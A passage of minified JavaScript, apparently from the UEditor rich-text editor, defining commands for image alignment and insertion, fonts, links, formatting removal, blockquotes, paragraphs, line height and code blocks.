- "background-image"),h="",h=0<b.indexOf(f.options.imagePath)?b.substring(b.indexOf(f.options.imagePath),b.length-1).replace(/"|\(|\)/ig,""):"none"!=b?b.replace(/url\("?|"?\)/ig,""):"",b='<style type="text/css">body{',c={"background-color":e.getComputedStyle(c,"background-color")||"#ffffff","background-image":h?"url("+h+")":"","background-repeat":e.getComputedStyle(c,"background-repeat")||"","background-position":r.ie?e.getComputedStyle(c,"background-position-x")+" "+e.getComputedStyle(c,"background-position-y"):
- e.getComputedStyle(c,"background-position"),height:e.getComputedStyle(c,"height")},g;for(g in c)c.hasOwnProperty(g)&&(b+=g+":"+c[g]+";");d.push(b+"}</style> ")})};UE.commands.imagefloat={execCommand:function(f,a){var d=this.selection.getRange();if(!d.collapsed){var c=d.getClosedNode();if(c&&"IMG"==c.tagName)switch(a){case "left":case "right":case "none":for(var b=c.parentNode,h,g;w.$inline[b.tagName]||"A"==b.tagName;)b=b.parentNode;h=b;if("P"==h.tagName&&"center"==e.getStyle(h,"text-align")){if(!e.isBody(h)&&
- 1==e.getChildCount(h,function(a){return!e.isBr(a)&&!e.isWhitespace(a)}))if(b=h.previousSibling,g=h.nextSibling,b&&g&&1==b.nodeType&&1==g.nodeType&&b.tagName==g.tagName&&e.isBlockElm(b)){for(b.appendChild(h.firstChild);g.firstChild;)b.appendChild(g.firstChild);e.remove(h);e.remove(g)}else e.setStyle(h,"text-align","");d.selectNode(c).select()}e.setStyle(c,"float","none"==a?"":a);"none"==a&&e.removeAttributes(c,"align");break;case "center":if("center"!=this.queryCommandValue("imagefloat")){b=c.parentNode;
- e.setStyle(c,"float","");e.removeAttributes(c,"align");for(h=c;b&&1==e.getChildCount(b,function(a){return!e.isBr(a)&&!e.isWhitespace(a)})&&(w.$inline[b.tagName]||"A"==b.tagName);)h=b,b=b.parentNode;d.setStartBefore(h).setCursor(!1);b=this.document.createElement("div");b.appendChild(h);e.setStyle(h,"float","");this.execCommand("insertHtml",'<p id="_img_parent_tmp" style="text-align:center">'+b.innerHTML+"</p>");h=this.document.getElementById("_img_parent_tmp");h.removeAttribute("id");h=h.firstChild;
- d.selectNode(h).select();(g=h.parentNode.nextSibling)&&e.isEmptyNode(g)&&e.remove(g)}}}},queryCommandValue:function(){var f=this.selection.getRange(),a;return f.collapsed?"none":(f=f.getClosedNode())&&1==f.nodeType&&"IMG"==f.tagName?(a=f.getAttribute("align")||e.getComputedStyle(f,"float"),"none"==a&&(a="center"==e.getComputedStyle(f.parentNode,"text-align")?"center":a),{left:1,right:1,center:1}[a]?a:"none"):"none"},queryCommandState:function(){var e=this.selection.getRange();return e.collapsed?-1:
- (e=e.getClosedNode())&&1==e.nodeType&&"IMG"==e.tagName?0:-1}};UE.commands.insertimage={execCommand:function(f,a){a=p.isArray(a)?a:[a];if(a.length){var d=this.selection.getRange(),c=d.getClosedNode();if(c&&/img/i.test(c.tagName)&&"edui-faked-video"!=c.className&&!c.getAttribute("word_img")){var b=a.shift(),h=b.floatStyle;delete b.floatStyle;e.setAttributes(c,b);this.execCommand("imagefloat",h);0<a.length&&(d.setStartAfter(c).setCursor(!1,!0),this.execCommand("insertimage",a))}else{d=[];c="";b=a[0];
- if(1==a.length)c='<img src="'+b.src+'" '+(b._src?' _src="'+b._src+'" ':"")+(b.width?'width="'+b.width+'" ':"")+(b.height?' height="'+b.height+'" ':"")+("left"==b.floatStyle||"right"==b.floatStyle?' style="float:'+b.floatStyle+';"':"")+(b.title&&""!=b.title?' title="'+b.title+'"':"")+(b.border&&"0"!=b.border?' border="'+b.border+'"':"")+(b.alt&&""!=b.alt?' alt="'+b.alt+'"':"")+(b.hspace&&"0"!=b.hspace?' hspace = "'+b.hspace+'"':"")+(b.vspace&&"0"!=b.vspace?' vspace = "'+b.vspace+'"':"")+"/>","center"==
- b.floatStyle&&(c='<p style="text-align: center">'+c+"</p>"),d.push(c);else for(h=0;b=a[h++];)c="<p "+("center"==b.floatStyle?'style="text-align: center" ':"")+'><img src="'+b.src+'" '+(b.width?'width="'+b.width+'" ':"")+(b._src?' _src="'+b._src+'" ':"")+(b.height?' height="'+b.height+'" ':"")+' style="'+(b.floatStyle&&"center"!=b.floatStyle?"float:"+b.floatStyle+";":"")+(b.border||"")+'" '+(b.title?' title="'+b.title+'"':"")+" /></p>",d.push(c);this.execCommand("insertHtml",d.join(""))}}}};UE.plugins.justify=
- function(){var f=e.isBlockElm,a={left:1,right:1,center:1,justify:1},d=function(a,b){var d=a.createBookmark(),g=function(a){return 1==a.nodeType?"br"!=a.tagName.toLowerCase()&&!e.isBookmarkNode(a):!e.isWhitespace(a)};a.enlarge(!0);for(var k=a.createBookmark(),l=e.getNextDomNode(k.start,!1,g),n=a.cloneRange(),m;l&&!(e.getPosition(l,k.end)&e.POSITION_FOLLOWING);)if(3!=l.nodeType&&f(l))l=e.getNextDomNode(l,!0,g);else{for(n.setStartBefore(l);l&&l!==k.end&&!f(l);)m=l,l=e.getNextDomNode(l,!1,null,function(a){return!f(a)});
- n.setEndAfter(m);l=n.getCommonAncestor();if(!e.isBody(l)&&f(l))e.setStyles(l,p.isString(b)?{"text-align":b}:b);else{l=a.document.createElement("p");e.setStyles(l,p.isString(b)?{"text-align":b}:b);var s=n.extractContents();l.appendChild(s);n.insertNode(l)}l=e.getNextDomNode(l,!1,g)}return a.moveToBookmark(k).moveToBookmark(d)};UE.commands.justify={execCommand:function(a,b){var h=this.selection.getRange(),g;h.collapsed&&(g=this.document.createTextNode("p"),h.insertNode(g));d(h,b);g&&(h.setStartBefore(g).collapse(!0),
- e.remove(g));h.select();return!0},queryCommandValue:function(){var c=this.selection.getStart(),c=e.getComputedStyle(c,"text-align");return a[c]?c:"left"},queryCommandState:function(){var a=this.selection.getStart();return a&&e.findParentByTagName(a,["td","th","caption"],!0)?-1:0}}};UE.plugins.font=function(){function f(a){for(var b;b=a.parentNode;)if("SPAN"==b.tagName&&1==e.getChildCount(b,function(a){return!e.isBookmarkNode(a)&&!e.isBr(a)}))b.style.cssText+=a.style.cssText,e.remove(a,!0),a=b;else break}
- function a(a,b,c){if(h[b]&&(a.adjustmentBoundary(),!a.collapsed&&1==a.startContainer.nodeType)){var g=a.startContainer.childNodes[a.startOffset];if(g&&e.isTagNode(g,"span")){var d=a.createBookmark();p.each(e.getElementsByTagName(g,"span"),function(a){!a.parentNode||e.isBookmarkNode(a)||"backcolor"==b&&e.getComputedStyle(a,"background-color").toLowerCase()===c||(e.removeStyle(a,h[b]),0==a.style.cssText.replace(/^\s+$/,"").length&&e.remove(a,!0))});a.moveToBookmark(d)}}}function d(b,c,g){var d=b.collapsed,
- h=b.createBookmark();if(d)for(d=h.start.parentNode;w.$inline[d.tagName];)d=d.parentNode;else d=e.getCommonAncestor(h.start,h.end);p.each(e.getElementsByTagName(d,"span"),function(a){if(a.parentNode&&!e.isBookmarkNode(a))if(/\s*border\s*:\s*none;?\s*/i.test(a.style.cssText))/^\s*border\s*:\s*none;?\s*$/.test(a.style.cssText)?e.remove(a,!0):e.removeStyle(a,"border");else{/border/i.test(a.style.cssText)&&("SPAN"==a.parentNode.tagName&&/border/i.test(a.parentNode.style.cssText))&&(a.style.cssText=a.style.cssText.replace(/border[^:]*:[^;]+;?/gi,
- ""));if("fontborder"!=c||"none"!=g)for(var b=a.nextSibling;b&&1==b.nodeType&&"SPAN"==b.tagName;){if(e.isBookmarkNode(b)&&"fontborder"==c)a.appendChild(b);else if(b.style.cssText==a.style.cssText&&(e.moveChild(b,a),e.remove(b)),a.nextSibling===b)break;b=a.nextSibling}f(a);r.ie&&8<r.version&&(b=e.findParent(a,function(a){return"SPAN"==a.tagName&&/background-color/.test(a.style.cssText)}))&&!/background-color/.test(a.style.cssText)&&(a.style.backgroundColor=b.style.backgroundColor)}});b.moveToBookmark(h);
- a(b,c,g)}var c={forecolor:"color",backcolor:"background-color",fontsize:"font-size",fontfamily:"font-family",underline:"text-decoration",strikethrough:"text-decoration",fontborder:"border"},b={underline:1,strikethrough:1,fontborder:1},h={forecolor:"color",backcolor:"background-color",fontsize:"font-size",fontfamily:"font-family"};this.setOpt({fontfamily:[{name:"songti",val:"\u5b8b\u4f53,SimSun"},{name:"yahei",val:"\u5fae\u8f6f\u96c5\u9ed1,Microsoft YaHei"},{name:"kaiti",val:"\u6977\u4f53,\u6977\u4f53_GB2312, SimKai"},
- {name:"heiti",val:"\u9ed1\u4f53, SimHei"},{name:"lishu",val:"\u96b6\u4e66, SimLi"},{name:"andaleMono",val:"andale mono"},{name:"arial",val:"arial, helvetica,sans-serif"},{name:"arialBlack",val:"arial black,avant garde"},{name:"comicSansMs",val:"comic sans ms"},{name:"impact",val:"impact,chicago"},{name:"timesNewRoman",val:"times new roman"}],fontsize:[10,11,12,14,16,18,20,24,36]});this.addInputRule(function(a){p.each(a.getNodesByTagName("u s del font strike"),function(a){if("font"==a.tagName){var b=
- [],c;for(c in a.attrs)switch(c){case "size":b.push("font-size:"+a.attrs[c]+"px");break;case "color":b.push("color:"+a.attrs[c]);break;case "face":b.push("font-family:"+a.attrs[c]);break;case "style":b.push(a.attrs[c])}a.attrs={style:b.join(";")}}else b="u"==a.tagName?"underline":"line-through",a.attrs={style:(a.getAttr("style")||"")+"text-decoration:"+b+";"};a.tagName="span"})});for(var g in c)(function(a,c){UE.commands[a]={execCommand:function(g,h){h=h||(this.queryCommandState(g)?"none":"underline"==
- g?"underline":"fontborder"==g?"1px solid #000":"line-through");var f=this.selection.getRange(),t;if("default"==h)f.collapsed&&(t=this.document.createTextNode("font"),f.insertNode(t).select()),this.execCommand("removeFormat","span,a",c),t&&(f.setStartBefore(t).collapse(!0),e.remove(t)),d(f,g,h),f.select();else if(f.collapsed){var u=e.findParentByTagName(f.startContainer,"span",!0);t=this.document.createTextNode("font");if(!u||u.children.length||u[r.ie?"innerText":"textContent"].replace(O,"").length){f.insertNode(t);
- f.selectNode(t).select();u=f.document.createElement("span");if(b[a]){if(e.findParentByTagName(t,"a",!0)){f.setStartBefore(t).setCursor();e.remove(t);return}this.execCommand("removeFormat","span,a",c)}u.style.cssText=c+":"+h;t.parentNode.insertBefore(u,t);if(!r.ie||r.ie&&9==r.version)for(var v=u.parentNode;!e.isBlockElm(v);)"SPAN"==v.tagName&&(u.style.cssText=v.style.cssText+";"+u.style.cssText),v=v.parentNode;ja?setTimeout(function(){f.setStart(u,0).collapse(!0);d(f,g,h);f.select()}):(f.setStart(u,
- 0).collapse(!0),d(f,g,h),f.select())}else f.insertNode(t),b[a]&&(f.selectNode(t).select(),this.execCommand("removeFormat","span,a",c,null),u=e.findParentByTagName(t,"span",!0),f.setStartBefore(t)),u&&(u.style.cssText+=";"+c+":"+h),f.collapse(!0).select();e.remove(t)}else b[a]&&this.queryCommandValue(a)&&this.execCommand("removeFormat","span,a",c),f=this.selection.getRange(),f.applyInlineStyle("span",{style:c+":"+h}),d(f,g,h),f.select();return!0},queryCommandValue:function(a){var b=this.selection.getStart();
- if("underline"==a||"strikethrough"==a){for(var g=b;g&&!e.isBlockElm(g)&&!e.isBody(g);){if(1==g.nodeType&&(a=e.getComputedStyle(g,c),"none"!=a))return a;g=g.parentNode}return"none"}if("fontborder"==a){for(a=b;a&&w.$inline[a.tagName];){if((g=e.getComputedStyle(a,"border"))&&/1px/.test(g)&&/solid/.test(g))return g;a=a.parentNode}return""}return"FontSize"==a?(g=e.getComputedStyle(b,c),(a=/^([\d\.]+)(\w+)$/.exec(g))?Math.floor(a[1])+a[2]:g):e.getComputedStyle(b,c)},queryCommandState:function(a){if(!b[a])return 0;
- var c=this.queryCommandValue(a);return"fontborder"==a?/1px/.test(c)&&/solid/.test(c):c==("underline"==a?"underline":"line-through")}}})(g,c[g])};UE.plugins.link=function(){function f(a){var d=a.startContainer,c=a.endContainer;(d=e.findParentByTagName(d,"a",!0))&&a.setStartBefore(d);(c=e.findParentByTagName(c,"a",!0))&&a.setEndAfter(c)}UE.commands.unlink={execCommand:function(){var a=this.selection.getRange(),d;if(!a.collapsed||e.findParentByTagName(a.startContainer,"a",!0))d=a.createBookmark(),f(a),
- a.removeInlineStyle("a").moveToBookmark(d).select()},queryCommandState:function(){return!this.highlight&&this.queryCommandValue("link")?0:-1}};UE.commands.link={execCommand:function(a,d){var c;d._href&&(d._href=p.unhtml(d._href,/[<">]/g));d.href&&(d.href=p.unhtml(d.href,/[<">]/g));d.textValue&&(d.textValue=p.unhtml(d.textValue,/[<">]/g));var b=c=this.selection.getRange(),h=b.cloneRange(),g=this.queryCommandValue("link");f(b=b.adjustmentBoundary());var k=b.startContainer;1==k.nodeType&&g&&(k=k.childNodes[b.startOffset])&&
- (1==k.nodeType&&"A"==k.tagName&&/^(?:https?|ftp|file)\s*:\s*\/\//.test(k[r.ie?"innerText":"textContent"]))&&(k[r.ie?"innerText":"textContent"]=p.html(d.textValue||d.href));if(!h.collapsed||g)b.removeInlineStyle("a"),h=b.cloneRange();if(h.collapsed){var g=b.document.createElement("a"),l="";d.textValue?(l=p.html(d.textValue),delete d.textValue):l=p.html(d.href);e.setAttributes(g,d);(k=e.findParentByTagName(h.startContainer,"a",!0))&&e.isInNodeEndBoundary(h,k)&&b.setStartAfter(k).collapse(!0);g[r.ie?
- "innerText":"textContent"]=l;b.insertNode(g).selectNode(g)}else b.applyInlineStyle("a",d);c.collapse().select(!0)},queryCommandValue:function(){var a=this.selection.getRange(),d;if(a.collapsed){if(d=a.startContainer,(d=1==d.nodeType?d:d.parentNode)&&(d=e.findParentByTagName(d,"a",!0))&&!e.isInNodeEndBoundary(a,d))return d}else{a.shrinkBoundary();var c=3!=a.startContainer.nodeType&&a.startContainer.childNodes[a.startOffset]?a.startContainer.childNodes[a.startOffset]:a.startContainer,b=3==a.endContainer.nodeType||
- 0==a.endOffset?a.endContainer:a.endContainer.childNodes[a.endOffset-1],a=a.getCommonAncestor();d=e.findParentByTagName(a,"a",!0);if(!d&&1==a.nodeType)for(var a=a.getElementsByTagName("a"),h,g,k=0,l;l=a[k++];)if(h=e.getPosition(l,c),g=e.getPosition(l,b),(h&e.POSITION_FOLLOWING||h&e.POSITION_CONTAINS)&&(g&e.POSITION_PRECEDING||g&e.POSITION_CONTAINS)){d=l;break}return d}},queryCommandState:function(){var a=this.selection.getRange().getClosedNode();return a&&"edui-faked-video"==a.className?-1:0}}};UE.plugins.insertframe=
- function(){var e=this;e.addListener("selectionchange",function(){e._iframe&&delete e._iframe})};UE.commands.scrawl={queryCommandState:function(){return r.ie&&8>=r.version?-1:0}};UE.plugins.removeformat=function(){this.setOpt({removeFormatTags:"b,big,code,del,dfn,em,font,i,ins,kbd,q,samp,small,span,strike,strong,sub,sup,tt,u,var",removeFormatAttributes:"class,style,lang,width,height,align,hspace,valign"});this.commands.removeformat={execCommand:function(f,a,d,c,b){function h(a){if(3==a.nodeType||"span"!=
- a.tagName.toLowerCase())return 0;if(r.ie){var b=a.attributes;if(b.length){a=0;for(var c=b.length;a<c;a++)if(b[a].specified)return 0;return 1}}return!a.attributes.length}var g=RegExp("^(?:"+(a||this.options.removeFormatTags).replace(/,/g,"|")+")$","i"),k=d?[]:(c||this.options.removeFormatAttributes).split(",");f=new K.Range(this.document);var l,n,m=function(a){return 1==a.nodeType};f=this.selection.getRange();(function(a){var c=a.createBookmark();a.collapsed&&a.enlarge(!0);if(!b){var f=e.findParentByTagName(a.startContainer,
- "a",!0);f&&a.setStartBefore(f);(f=e.findParentByTagName(a.endContainer,"a",!0))&&a.setEndAfter(f)}l=a.createBookmark();for(f=l.start;(n=f.parentNode)&&!e.isBlockElm(n);)e.breakParent(f,n),e.clearEmptySibling(f);if(l.end){for(f=l.end;(n=f.parentNode)&&!e.isBlockElm(n);)e.breakParent(f,n),e.clearEmptySibling(f);for(var f=e.getNextDomNode(l.start,!1,m),v;f&&f!=l.end;)v=e.getNextDomNode(f,!0,m),w.$empty[f.tagName.toLowerCase()]||e.isBookmarkNode(f)||(g.test(f.tagName)?d?(e.removeStyle(f,d),h(f)&&"text-decoration"!=
- d&&e.remove(f,!0)):e.remove(f,!0):w.$tableContent[f.tagName]||w.$list[f.tagName]||(e.removeAttributes(f,k),h(f)&&e.remove(f,!0))),f=v}f=l.start.parentNode;!e.isBlockElm(f)||(w.$tableContent[f.tagName]||w.$list[f.tagName])||e.removeAttributes(f,k);f=l.end.parentNode;l.end&&(e.isBlockElm(f)&&!w.$tableContent[f.tagName]&&!w.$list[f.tagName])&&e.removeAttributes(f,k);a.moveToBookmark(l).moveToBookmark(c);f=a.startContainer;for(v=a.collapsed;1==f.nodeType&&e.isEmptyNode(f)&&w.$removeEmpty[f.tagName];)c=
- f.parentNode,a.setStartBefore(f),a.startContainer===a.endContainer&&a.endOffset--,e.remove(f),f=c;if(!v)for(f=a.endContainer;1==f.nodeType&&e.isEmptyNode(f)&&w.$removeEmpty[f.tagName];)c=f.parentNode,a.setEndBefore(f),e.remove(f),f=c})(f);f.select()}}};UE.plugins.blockquote=function(){this.commands.blockquote={execCommand:function(f,a){var d=this.selection.getRange(),c=e.filterNodeList(this.selection.getStartElementPath(),"blockquote"),b=w.blockquote,h=d.createBookmark();if(c){var b=d.startContainer,
- b=e.isBlockElm(b)?b:e.findParent(b,function(a){return e.isBlockElm(a)}),g=d.endContainer,g=e.isBlockElm(g)?g:e.findParent(g,function(a){return e.isBlockElm(a)}),b=e.findParentByTagName(b,"li",!0)||b,g=e.findParentByTagName(g,"li",!0)||g;"LI"==b.tagName||"TD"==b.tagName||b===c||e.isBody(b)?e.remove(c,!0):e.breakParent(b,c);b!==g&&(c=e.findParentByTagName(g,"blockquote"))&&("LI"==g.tagName||"TD"==g.tagName||e.isBody(g)?c.parentNode&&e.remove(c,!0):e.breakParent(g,c));for(var k=e.getElementsByTagName(this.document,
- "blockquote"),c=0,l;l=k[c++];)l.childNodes.length?e.getPosition(l,b)&e.POSITION_FOLLOWING&&e.getPosition(l,g)&e.POSITION_PRECEDING&&e.remove(l,!0):e.remove(l)}else{c=d.cloneRange();k=g=1==c.startContainer.nodeType?c.startContainer:c.startContainer.parentNode;for(l=1;;){if(e.isBody(g)){k!==g?d.collapsed?(c.selectNode(k),l=0):c.setStartBefore(k):c.setStart(g,0);break}if(!b[g.tagName]){d.collapsed?c.selectNode(k):c.setStartBefore(k);break}k=g;g=g.parentNode}if(l)for(k=g=g=1==c.endContainer.nodeType?
- c.endContainer:c.endContainer.parentNode;;){if(e.isBody(g)){k!==g?c.setEndAfter(k):c.setEnd(g,g.childNodes.length);break}if(!b[g.tagName]){c.setEndAfter(k);break}k=g;g=g.parentNode}g=d.document.createElement("blockquote");e.setAttributes(g,a);g.appendChild(c.extractContents());c.insertNode(g);b=e.getElementsByTagName(g,"blockquote");for(c=0;g=b[c++];)g.parentNode&&e.remove(g,!0)}d.moveToBookmark(h).select()},queryCommandState:function(){return e.filterNodeList(this.selection.getStartElementPath(),
- "blockquote")?1:0}}};UE.commands.touppercase=UE.commands.tolowercase={execCommand:function(f){var a=this.selection.getRange();if(a.collapsed)return a;for(var d=a.createBookmark(),c=d.end,b=function(a){return!e.isBr(a)&&!e.isWhitespace(a)},h=e.getNextDomNode(d.start,!1,b);h&&e.getPosition(h,c)&e.POSITION_PRECEDING&&(3==h.nodeType&&(h.nodeValue=h.nodeValue["touppercase"==f?"toUpperCase":"toLowerCase"]()),h=e.getNextDomNode(h,!0,b),h!==c););a.moveToBookmark(d).select()}};UE.commands.indent={execCommand:function(){var e=
- this.queryCommandState("indent")?"0em":this.options.indentValue||"2em";this.execCommand("Paragraph","p",{style:"text-indent:"+e})},queryCommandState:function(){var f=e.filterNodeList(this.selection.getStartElementPath(),"p h1 h2 h3 h4 h5 h6");return f&&f.style.textIndent&&parseInt(f.style.textIndent)?1:0}};UE.commands.print={execCommand:function(){this.window.print()},notNeedUndo:1};UE.commands.preview={execCommand:function(){var e=window.open("","_blank","").document;e.open();e.write('<html><head><script src="'+
- this.options.UEDITOR_HOME_URL+"ueditor.parse.js\">\x3c/script><script>setTimeout(function(){uParse('div',{ 'highlightJsUrl':'"+this.options.UEDITOR_HOME_URL+"third-party/SyntaxHighlighter/shCore.js', 'highlightCssUrl':'"+this.options.UEDITOR_HOME_URL+"third-party/SyntaxHighlighter/shCoreDefault.css'})},300)\x3c/script></head><body><div>"+this.getContent(null,null,!0)+"</div></body></html>");e.close()},notNeedUndo:1};UE.plugins.selectall=function(){this.commands.selectall={execCommand:function(){var f=
- this.body,a=this.selection.getRange();a.selectNodeContents(f);e.isEmptyBlock(f)&&(r.opera&&(f.firstChild&&1==f.firstChild.nodeType)&&a.setStartAtFirst(f.firstChild),a.collapse(!0));a.select(!0)},notNeedUndo:1};this.addshortcutkey({selectAll:"ctrl+65"})};UE.plugins.paragraph=function(){var f=e.isBlockElm,a=["TD","LI","PRE"],d=function(c,b,d,g){var k=c.createBookmark(),l=function(a){return 1==a.nodeType?"br"!=a.tagName.toLowerCase()&&!e.isBookmarkNode(a):!e.isWhitespace(a)},n;c.enlarge(!0);var m=c.createBookmark();
- n=e.getNextDomNode(m.start,!1,l);for(var s=c.cloneRange(),t;n&&!(e.getPosition(n,m.end)&e.POSITION_FOLLOWING);)if(3!=n.nodeType&&f(n))n=e.getNextDomNode(n,!0,l);else{for(s.setStartBefore(n);n&&n!==m.end&&!f(n);)t=n,n=e.getNextDomNode(n,!1,null,function(a){return!f(a)});s.setEndAfter(t);n=c.document.createElement(b);d&&(e.setAttributes(n,d),g&&("customstyle"==g&&d.style)&&(n.style.cssText=d.style));n.appendChild(s.extractContents());e.isEmptyNode(n)&&e.fillChar(c.document,n);s.insertNode(n);var u=
- n.parentNode;f(u)&&(!e.isBody(n.parentNode)&&-1==p.indexOf(a,u.tagName))&&(g&&"customstyle"==g||(u.getAttribute("dir")&&n.setAttribute("dir",u.getAttribute("dir")),u.style.cssText&&(n.style.cssText=u.style.cssText+";"+n.style.cssText),u.style.textAlign&&!n.style.textAlign&&(n.style.textAlign=u.style.textAlign),u.style.textIndent&&!n.style.textIndent&&(n.style.textIndent=u.style.textIndent),u.style.padding&&!n.style.padding&&(n.style.padding=u.style.padding)),d&&/h\d/i.test(u.tagName)&&!/h\d/i.test(n.tagName)?
- (e.setAttributes(u,d),g&&("customstyle"==g&&d.style)&&(u.style.cssText=d.style),e.remove(n,!0),n=u):e.remove(n.parentNode,!0));n=-1!=p.indexOf(a,u.tagName)?u:n;n=e.getNextDomNode(n,!1,l)}return c.moveToBookmark(m).moveToBookmark(k)};this.setOpt("paragraph",{p:"",h1:"",h2:"",h3:"",h4:"",h5:"",h6:""});this.commands.paragraph={execCommand:function(a,b,h,g){a=this.selection.getRange();if(a.collapsed){var k=this.document.createTextNode("p");a.insertNode(k);if(r.ie){var l=k.previousSibling;l&&e.isWhitespace(l)&&
- e.remove(l);(l=k.nextSibling)&&e.isWhitespace(l)&&e.remove(l)}}a=d(a,b,h,g);k&&(a.setStartBefore(k).collapse(!0),pN=k.parentNode,e.remove(k),e.isBlockElm(pN)&&e.isEmptyNode(pN)&&e.fillNode(this.document,pN));r.gecko&&a.collapsed&&1==a.startContainer.nodeType&&(h=a.startContainer.childNodes[a.startOffset])&&(1==h.nodeType&&h.tagName.toLowerCase()==b)&&a.setStart(h,0).collapse(!0);a.select();return!0},queryCommandValue:function(){var a=e.filterNodeList(this.selection.getStartElementPath(),"p h1 h2 h3 h4 h5 h6");
- return a?a.tagName.toLowerCase():""}}};(function(){var f=e.isBlockElm,a=function(a){return e.filterNodeList(a.selection.getStartElementPath(),function(a){return a.getAttribute("dir")})},d=function(c,b,d){var g=function(a){return 1==a.nodeType?!e.isBookmarkNode(a):!e.isWhitespace(a)};if((b=a(b))&&c.collapsed)return b.setAttribute("dir",d),c;b=c.createBookmark();c.enlarge(!0);for(var k=c.createBookmark(),l=e.getNextDomNode(k.start,!1,g),n=c.cloneRange(),m;l&&!(e.getPosition(l,k.end)&e.POSITION_FOLLOWING);)if(3!=
- l.nodeType&&f(l))l=e.getNextDomNode(l,!0,g);else{for(n.setStartBefore(l);l&&l!==k.end&&!f(l);)m=l,l=e.getNextDomNode(l,!1,null,function(a){return!f(a)});n.setEndAfter(m);l=n.getCommonAncestor();if(!e.isBody(l)&&f(l))l.setAttribute("dir",d);else{l=c.document.createElement("p");l.setAttribute("dir",d);var s=n.extractContents();l.appendChild(s);n.insertNode(l)}l=e.getNextDomNode(l,!1,g)}return c.moveToBookmark(k).moveToBookmark(b)};UE.commands.directionality={execCommand:function(a,b){var h=this.selection.getRange();
- if(h.collapsed){var g=this.document.createTextNode("d");h.insertNode(g)}d(h,this,b);g&&(h.setStartBefore(g).collapse(!0),e.remove(g));h.select();return!0},queryCommandValue:function(){var c=a(this);return c?c.getAttribute("dir"):"ltr"}}})();UE.plugins.horizontal=function(){this.commands.horizontal={execCommand:function(e){if(-1!==this.queryCommandState(e)){this.execCommand("insertHtml","<hr>");e=this.selection.getRange();var a=e.startContainer;if(1==a.nodeType&&!a.childNodes[e.startOffset]){var d;
- (d=a.childNodes[e.startOffset-1])&&(1==d.nodeType&&"HR"==d.tagName)&&("p"==this.options.enterTag?(d=this.document.createElement("p"),e.insertNode(d),e.setStart(d,0).setCursor()):(d=this.document.createElement("br"),e.insertNode(d),e.setStartBefore(d).setCursor()))}return!0}},queryCommandState:function(){return e.filterNodeList(this.selection.getStartElementPath(),"table")?-1:0}};this.addListener("delkeydown",function(f,a){var d=this.selection.getRange();d.txtToElmBoundary(!0);if(e.isStartInblock(d)){var c=
- d.startContainer.previousSibling;if(c&&e.isTagNode(c,"hr"))return e.remove(c),d.select(),e.preventDefault(a),!0}})};UE.commands.time=UE.commands.date={execCommand:function(e){var a=new Date;this.execCommand("insertHtml","time"==e?a.getHours()+":"+(10>a.getMinutes()?"0"+a.getMinutes():a.getMinutes())+":"+(10>a.getSeconds()?"0"+a.getSeconds():a.getSeconds()):a.getFullYear()+"-"+(10>a.getMonth()+1?"0"+(a.getMonth()+1):a.getMonth()+1)+"-"+(10>a.getDate()?"0"+a.getDate():a.getDate()))}};UE.plugins.rowspacing=
- function(){this.setOpt({rowspacingtop:["5","10","15","20","25"],rowspacingbottom:["5","10","15","20","25"]});this.commands.rowspacing={execCommand:function(e,a,d){this.execCommand("paragraph","p",{style:"margin-"+d+":"+a+"px"});return!0},queryCommandValue:function(f,a){var d=e.filterNodeList(this.selection.getStartElementPath(),function(a){return e.isBlockElm(a)});return d?(d=e.getComputedStyle(d,"margin-"+a).replace(/[^\d]/g,""))?d:0:0}}};UE.plugins.lineheight=function(){this.setOpt({lineheight:"1 1.5 1.75 2 3 4 5".split(" ")});
- this.commands.lineheight={execCommand:function(e,a){this.execCommand("paragraph","p",{style:"line-height:"+("1"==a?"normal":a+"em")});return!0},queryCommandValue:function(){var f=e.filterNodeList(this.selection.getStartElementPath(),function(a){return e.isBlockElm(a)});if(f)return f=e.getComputedStyle(f,"line-height"),"normal"==f?1:f.replace(/[^\d.]*/ig,"")}}};UE.plugins.insertcode=function(){var f=this;f.ready(function(){p.cssRule("pre","pre{margin:.5em 0;padding:.4em .6em;border-radius:8px;background:#f8f8f8;}",
- f.document)});f.setOpt("insertcode",{as3:"ActionScript3",bash:"Bash/Shell",cpp:"C/C++",css:"Css",cf:"CodeFunction","c#":"C#",delphi:"Delphi",diff:"Diff",erlang:"Erlang",groovy:"Groovy",html:"Html",java:"Java",jfx:"JavaFx",js:"Javascript",pl:"Perl",php:"Php",plain:"Plain Text",ps:"PowerShell",python:"Python",ruby:"Ruby",scala:"Scala",sql:"Sql",vb:"Vb",xml:"Xml"});f.commands.insertcode={execCommand:function(a,d){var c=this.selection.getRange(),b=e.findParentByTagName(c.startContainer,"pre",!0);if(b)b.className=
- "brush:"+d+";toolbar:false;";else{var h="";c.collapsed?h=r.ie?8<r.version?"":" ":"<br/>":(b=c.extractContents(),c=this.document.createElement("div"),c.appendChild(b),p.each(UE.filterNode(UE.htmlparser(c.innerHTML.replace(/[\r\t]/g,"")),this.options.filterTxtRules).children,function(a){r.ie&&8<r.version?("element"==a.type?"br"==a.tagName?h+="\n":w.$empty[a.tagName]||(p.each(a.children,function(b){"element"==b.type?"br"==b.tagName?h+="\n":w.$empty[a.tagName]||(h+=b.innerText()):h+=b.data}),/\n$/.test(h)||
- (h+="\n")):h+=a.data+"\n",!a.nextSibling()&&/\n$/.test(h)&&(h=h.replace(/\n$/,""))):r.ie?("element"==a.type?"br"==a.tagName?h+="<br>":w.$empty[a.tagName]||(p.each(a.children,function(b){"element"==b.type?"br"==b.tagName?h+="<br>":w.$empty[a.tagName]||(h+=b.innerText()):h+=b.data}),/br>$/.test(h)||(h+="<br>")):h+=a.data+"<br>",!a.nextSibling()&&/<br>$/.test(h)&&(h=h.replace(/<br>$/,""))):(h+="element"==a.type?w.$empty[a.tagName]?"":a.innerText():a.data,!/br\/?\s*>$/.test(h)&&a.nextSibling()&&(h+="<br>"))}));
- this.execCommand("inserthtml",'<pre id="coder"class="brush:'+d+';toolbar:false">'+h+"</pre>",!0);b=this.document.getElementById("coder");e.removeAttributes(b,"id");(c=b.previousSibling)&&(3==c.nodeType&&1==c.nodeValue.length&&r.ie&&6==r.version||e.isEmptyBlock(c))&&e.remove(c);c=this.selection.getRange();e.isEmptyBlock(b)?c.setStart(b,0).setCursor(!1,!0):c.selectNodeContents(b).select()}},queryCommandValue:function(){var a=this.selection.getStartElementPath(),d="";p.each(a,function(a){if("PRE"==a.nodeName)return d=
